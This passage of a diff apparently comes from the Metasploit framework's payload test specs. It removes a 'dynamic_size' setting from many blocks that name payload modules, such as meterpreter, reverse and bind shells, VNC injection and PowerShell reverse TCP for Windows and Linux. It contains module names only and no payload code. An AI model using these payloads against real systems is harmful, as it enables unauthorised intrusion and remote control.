-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_nonx_tcp'
   end
@@ -5102,7 +4666,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_ord_tcp'
   end
@@ -5113,7 +4676,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_tcp'
   end
@@ -5124,7 +4686,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_tcp_allports'
   end
@@ -5135,7 +4696,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_tcp_dns'
   end
@@ -5146,7 +4706,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_tcp_rc4'
   end
@@ -5157,7 +4716,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_tcp_rc4_dns'
   end
@@ -5168,7 +4726,6 @@
                               'stagers/windows/reverse_udp',
                               'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/reverse_udp'
   end
@@ -5179,7 +4736,6 @@
                               'stagers/windows/bind_ipv6_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_ipv6_tcp'
   end
@@ -5190,7 +4746,6 @@
                             'stagers/windows/bind_named_pipe',
                             'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_named_pipe'
   end
@@ -5201,7 +4756,6 @@
                               'stagers/windows/bind_nonx_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_nonx_tcp'
   end
@@ -5212,7 +4766,6 @@
                               'stagers/windows/bind_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_tcp'
   end
@@ -5223,7 +4776,6 @@
                               'stagers/windows/bind_tcp_rc4',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_tcp_rc4'
   end
@@ -5234,7 +4786,6 @@
                               'stagers/windows/findtag_ord',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/find_tag'
   end
@@ -5245,7 +4796,6 @@
                               'stagers/windows/reverse_ipv6_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_ipv6_tcp'
   end
@@ -5256,7 +4806,6 @@
                               'stagers/windows/reverse_nonx_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_nonx_tcp'
   end
@@ -5267,7 +4816,6 @@
                               'stagers/windows/reverse_ord_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_ord_tcp'
   end
@@ -5278,7 +4826,6 @@
                               'stagers/windows/reverse_tcp',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_tcp'
   end
@@ -5289,7 +4836,6 @@
                               'stagers/windows/reverse_tcp_allports',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_tcp_allports'
   end
@@ -5300,7 +4846,6 @@
                               'stagers/windows/reverse_tcp_dns',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_tcp_dns'
   end
@@ -5311,7 +4856,6 @@
                               'stagers/windows/reverse_tcp_rc4',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_tcp_rc4'
   end
@@ -5322,7 +4866,6 @@
                               'stagers/windows/reverse_tcp_rc4_dns',
                               'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/reverse_tcp_rc4_dns'
   end
@@ -5332,7 +4875,6 @@
                           ancestor_reference_names: [
                             'singles/windows/aarch64/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/aarch64/exec'
   end
@@ -5342,7 +4884,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/download_exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/download_exec'
   end
@@ -5495,7 +5036,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/exec'
   end
@@ -5505,7 +5045,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/loadlibrary'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/loadlibrary'
   end
@@ -5515,7 +5054,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/messagebox'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/messagebox'
   end
@@ -5526,7 +5064,6 @@
                               'stagers/windows/x64/bind_ipv6_tcp',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/bind_ipv6_tcp'
   end
@@ -5537,7 +5074,6 @@
                               'stagers/windows/x64/bind_ipv6_tcp_uuid',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/bind_ipv6_tcp_uuid'
   end
@@ -5548,7 +5084,6 @@
                               'stagers/windows/x64/bind_named_pipe',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/bind_named_pipe'
   end
@@ -5559,7 +5094,6 @@
                               'stagers/windows/x64/bind_tcp',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/bind_tcp'
   end
@@ -5570,7 +5104,6 @@
                               'stagers/windows/x64/bind_tcp_rc4',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/bind_tcp_rc4'
   end
@@ -5581,7 +5114,6 @@
                               'stagers/windows/x64/bind_tcp_uuid',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/bind_tcp_uuid'
   end
@@ -5592,7 +5124,6 @@
                               'stagers/windows/x64/reverse_http',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_http'
   end
@@ -5603,7 +5134,6 @@
                               'stagers/windows/x64/reverse_https',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_https'
   end
@@ -5614,7 +5144,6 @@
                               'stagers/windows/x64/reverse_named_pipe',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_named_pipe'
   end
@@ -5625,7 +5154,6 @@
                               'stagers/windows/x64/reverse_tcp',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_tcp'
   end
@@ -5636,7 +5164,6 @@
                               'stagers/windows/x64/reverse_tcp_rc4',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_tcp_rc4'
   end
@@ -5647,7 +5174,6 @@
                               'stagers/windows/x64/reverse_tcp_uuid',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_tcp_uuid'
   end
@@ -5658,7 +5184,6 @@
                               'stagers/windows/x64/reverse_winhttp',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_winhttp'
   end
@@ -5669,7 +5194,6 @@
                               'stagers/windows/x64/reverse_winhttps',
                               'stages/windows/x64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter/reverse_winhttps'
   end
@@ -5679,7 +5203,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/meterpreter_bind_named_pipe'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter_bind_named_pipe'
   end
@@ -5689,7 +5212,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/meterpreter_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter_bind_tcp'
   end
@@ -5699,7 +5221,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter_reverse_http'
   end
@@ -5709,7 +5230,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter_reverse_https'
   end
@@ -5719,7 +5239,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/meterpreter_reverse_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp'
   end
@@ -5729,7 +5248,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/meterpreter_reverse_tcp'
   end
@@ -5740,7 +5258,6 @@
                               'stagers/windows/x64/bind_ipv6_tcp',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/bind_ipv6_tcp'
   end
@@ -5751,7 +5268,6 @@
                               'stagers/windows/x64/bind_ipv6_tcp_uuid',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/bind_ipv6_tcp_uuid'
   end
@@ -5762,7 +5278,6 @@
                               'stagers/windows/x64/bind_named_pipe',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/bind_named_pipe'
   end
@@ -5773,7 +5288,6 @@
                               'stagers/windows/x64/bind_tcp',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/bind_tcp'
   end
@@ -5784,7 +5298,6 @@
                               'stagers/windows/x64/bind_tcp_rc4',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/bind_tcp_rc4'
   end
@@ -5795,7 +5308,6 @@
                               'stagers/windows/x64/bind_tcp_uuid',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/bind_tcp_uuid'
   end
@@ -5806,7 +5318,6 @@
                               'stagers/windows/x64/reverse_named_pipe',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/reverse_named_pipe'
   end
@@ -5817,7 +5328,6 @@
                               'stagers/windows/x64/reverse_tcp',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/reverse_tcp'
   end
@@ -5828,7 +5338,6 @@
                               'stagers/windows/x64/reverse_tcp_rc4',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/reverse_tcp_rc4'
   end
@@ -5839,7 +5348,6 @@
                               'stagers/windows/x64/reverse_tcp_uuid',
                               'stages/windows/x64/peinject'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/peinject/reverse_tcp_uuid'
   end
@@ -5849,7 +5357,6 @@
                           ancestor_reference_names: [
                             'singles/windows/x64/powershell_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/powershell_bind_tcp'
   end
@@ -5859,7 +5366,6 @@
                           ancestor_reference_names: [
                             'singles/windows/x64/powershell_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/powershell_reverse_tcp'
   end
@@ -5869,7 +5375,6 @@
                           ancestor_reference_names: [
                             'singles/windows/x64/powershell_reverse_tcp_ssl'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/powershell_reverse_tcp_ssl'
   end
@@ -5879,7 +5384,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/pingback_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/pingback_reverse_tcp'
   end
@@ -5890,7 +5394,6 @@
                               'stagers/windows/x64/bind_named_pipe',
                               'stages/windows/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell/bind_named_pipe'
   end
@@ -5901,7 +5404,6 @@
                               'stagers/windows/x64/bind_tcp',
                               'stages/windows/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell/bind_tcp'
   end
@@ -5912,7 +5414,6 @@
                               'stagers/windows/x64/bind_tcp_rc4',
                               'stages/windows/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell/bind_tcp_rc4'
   end
@@ -5923,7 +5424,6 @@
                               'stagers/windows/x64/reverse_tcp',
                               'stages/windows/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell/reverse_tcp'
   end
@@ -5934,7 +5434,6 @@
                               'stagers/windows/x64/reverse_tcp_rc4',
                               'stages/windows/x64/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell/reverse_tcp_rc4'
   end
@@ -5944,7 +5443,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell_bind_tcp'
   end
@@ -5954,7 +5452,6 @@
                           ancestor_reference_names: [
                               'singles/windows/x64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/shell_reverse_tcp'
   end
@@ -5965,7 +5462,6 @@
                               'stagers/windows/x64/bind_named_pipe',
                               'stages/windows/x64/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/vncinject/bind_named_pipe'
   end
@@ -5976,7 +5472,6 @@
                               'stagers/windows/x64/bind_tcp',
                               'stages/windows/x64/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/vncinject/bind_tcp'
   end
@@ -5987,7 +5482,6 @@
                               'stagers/windows/x64/bind_tcp_rc4',
                               'stages/windows/x64/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/vncinject/bind_tcp_rc4'
   end
@@ -5998,7 +5492,6 @@
                               'stagers/windows/x64/reverse_tcp',
                               'stages/windows/x64/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/vncinject/reverse_tcp'
   end
@@ -6009,7 +5502,6 @@
                               'stagers/windows/x64/reverse_tcp_rc4',
                               'stages/windows/x64/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/x64/vncinject/reverse_tcp_rc4'
   end
@@ -6020,7 +5512,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_hidden_tcp'
   end
@@ -6031,7 +5522,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_hidden_tcp'
   end
@@ -6042,7 +5532,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_hidden_tcp'
   end
@@ -6053,7 +5542,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_hidden_tcp'
   end
@@ -6064,7 +5552,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_hidden_tcp'
   end
@@ -6075,7 +5562,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_hidden_tcp'
   end
@@ -6086,7 +5572,6 @@
                             'stagers/windows/bind_hidden_tcp',
                             'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_hidden_tcp'
   end
@@ -6097,7 +5582,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/dllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/dllinject/bind_hidden_ipknock_tcp'
   end
@@ -6108,7 +5592,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/bind_hidden_ipknock_tcp'
   end
@@ -6119,7 +5602,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/patchupdllinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupdllinject/bind_hidden_ipknock_tcp'
   end
@@ -6130,7 +5612,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/patchupmeterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
   end
@@ -6140,7 +5621,6 @@
                           ancestor_reference_names: [
                             'singles/windows/powershell_bind_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/powershell_bind_tcp'
   end
@@ -6150,7 +5630,6 @@
                           ancestor_reference_names: [
                             'singles/windows/powershell_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/powershell_reverse_tcp'
   end
@@ -6160,7 +5639,6 @@
                           ancestor_reference_names: [
                             'singles/windows/powershell_reverse_tcp_ssl'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/powershell_reverse_tcp_ssl'
   end
@@ -6171,7 +5649,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/shell/bind_hidden_ipknock_tcp'
   end
@@ -6182,7 +5659,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/upexec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/upexec/bind_hidden_ipknock_tcp'
   end
@@ -6193,7 +5669,6 @@
                             'stagers/windows/bind_hidden_ipknock_tcp',
                             'stages/windows/vncinject'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
   end
@@ -6204,7 +5679,6 @@
                             'stagers/windows/reverse_winhttp',
                             'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_winhttp'
   end
@@ -6215,7 +5689,6 @@
                             'stagers/windows/reverse_winhttps',
                             'stages/windows/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'windows/meterpreter/reverse_winhttps'
   end
@@ -6225,7 +5698,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mips64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mips64/meterpreter_reverse_http'
   end
@@ -6235,7 +5707,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mips64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mips64/meterpreter_reverse_https'
   end
@@ -6245,7 +5716,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mipsbe/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/meterpreter_reverse_http'
   end
@@ -6255,7 +5725,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mipsbe/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/meterpreter_reverse_https'
   end
@@ -6265,7 +5734,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mipsle/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/meterpreter_reverse_http'
   end
@@ -6275,7 +5743,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mipsle/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/meterpreter_reverse_https'
   end
@@ -6285,7 +5752,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/meterpreter_reverse_http'
   end
@@ -6295,7 +5761,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x64/meterpreter_reverse_https'
   end
@@ -6305,7 +5770,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x86/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter_reverse_http'
   end
@@ -6315,7 +5779,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x86/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/meterpreter_reverse_https'
   end
@@ -6325,7 +5788,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x86/metsvc_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/metsvc_bind_tcp'
   end
@@ -6335,7 +5797,6 @@
                           ancestor_reference_names: [
                             'singles/linux/x86/metsvc_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/x86/metsvc_reverse_tcp'
   end
@@ -6345,7 +5806,6 @@
                           ancestor_reference_names: [
                             'singles/linux/zarch/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/zarch/meterpreter_reverse_http'
   end
@@ -6355,7 +5815,6 @@
                           ancestor_reference_names: [
                             'singles/linux/zarch/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/zarch/meterpreter_reverse_https'
   end
@@ -6366,7 +5825,6 @@
                             'stagers/linux/aarch64/reverse_tcp',
                             'stages/linux/aarch64/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/meterpreter/reverse_tcp'
   end
@@ -6376,7 +5834,6 @@
                           ancestor_reference_names: [
                             'singles/linux/aarch64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/aarch64/meterpreter_reverse_tcp'
   end
@@ -6386,7 +5843,6 @@
                           ancestor_reference_names: [
                             'singles/linux/armbe/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armbe/meterpreter_reverse_tcp'
   end
@@ -6396,7 +5852,6 @@
                           ancestor_reference_names: [
                             'singles/linux/armbe/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armbe/meterpreter_reverse_http'
   end
@@ -6406,7 +5861,6 @@
                           ancestor_reference_names: [
                             'singles/linux/armbe/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armbe/meterpreter_reverse_https'
   end
@@ -6416,7 +5870,6 @@
                           ancestor_reference_names: [
                             'singles/linux/armle/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/meterpreter_reverse_http'
   end
@@ -6426,7 +5879,6 @@
                           ancestor_reference_names: [
                             'singles/linux/armle/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/meterpreter_reverse_https'
   end
@@ -6437,7 +5889,6 @@
                             'stagers/linux/armle/bind_tcp',
                             'stages/linux/armle/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/meterpreter/bind_tcp'
   end
@@ -6448,7 +5899,6 @@
                             'stagers/linux/armle/reverse_tcp',
                             'stages/linux/armle/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/meterpreter/reverse_tcp'
   end
@@ -6458,7 +5908,6 @@
                           ancestor_reference_names: [
                             'singles/linux/armle/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/armle/meterpreter_reverse_tcp'
   end
@@ -6468,7 +5917,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mips64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mips64/meterpreter_reverse_tcp'
   end
@@ -6479,7 +5927,6 @@
                             'stagers/linux/mipsbe/reverse_tcp',
                             'stages/linux/mipsbe/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/meterpreter/reverse_tcp'
   end
@@ -6489,7 +5936,6 @@
                           ancestor_reference_names: [
                             'singles/linux/mipsbe/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsbe/meterpreter_reverse_tcp'
   end
@@ -6500,7 +5946,6 @@
                             'stagers/linux/mipsle/reverse_tcp',
                             'stages/linux/mipsle/meterpreter'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'linux/mipsle/meterpreter/reverse_tcp'
   end
@@ -6510,7 +5955,6 @@
                           ancestor_reference_names: [
